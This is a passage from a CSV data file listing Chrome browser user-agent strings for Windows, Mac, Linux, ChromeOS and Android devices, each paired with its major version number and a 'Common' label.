Chrome/58.0.3029.81 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Linux; Android 6.0; MYA-L22 Build/HUAWEIMYA-L22) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Linux; Android 6.0; vivo 1606 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00J Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Linux; Android 7.1; Mi A1 Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-T800 Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; RKM MK902 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24\",11,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Linux; Android 5.1; A37f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36\",43,Common\n\"Mozilla/5.0 (Linux; Android 6.0.1; CPH1607 Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 Safari/525.19\",1.0,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/LMY48B ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Linux; Android 4.4.2; SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Linux; U; Android-4.0.3; en-us; Galaxy Nexus Build/IML74K) AppleWebKit/535.7 (KHTML, like Gecko) CrMo/16.0.912.75 Mobile Safari/535.7\",16,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Linux; Android 5.0.2; vivo Y51 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Linux; U; Android-4.0.3; en-us; Xoom Build/IML77) AppleWebKit/535.7 (KHTML, like Gecko) CrMo/16.0.912.75 Safari/535.7\",16,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.116 Mobile Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36\",42,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Linux; Android 7.1; vivo 1716 Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Linux; Android 7.0; TRT-LX2 Build/HUAWEITRT-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Common\n\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36\",43,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 9901.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.97 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Common\n\"Mozilla/5.0 (X11; CrOS x86_64 10032.86.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.140 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Common\n\"Mozilla/5.0 (en-us) AppleWebKit/534.14 (KHTML, like Gecko; Google Wireless Transcoder) Chrome/9.0.597 Safari/534.14\",9,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17\",24,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Common\nChrome,,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36\",41,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G610F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Linux; Android 7.0; SM-J730GM Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Linux; Android 7.0; SM-J710F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Common\n\"Mozilla/5.0 (Linux; Android 7.0; BLL-L22 Build/HUAWEIBLL-L22) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Common\n\"Mozilla/5.0 (Linux; Android 6.0; CAM-L21 Build/HUAWEICAM-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Linux; Android 5.1; A1601 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\",17,Common\n\"Mozilla/5.0 (Linux; Android 7.1.1; CPH1723 Build/N6F26Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 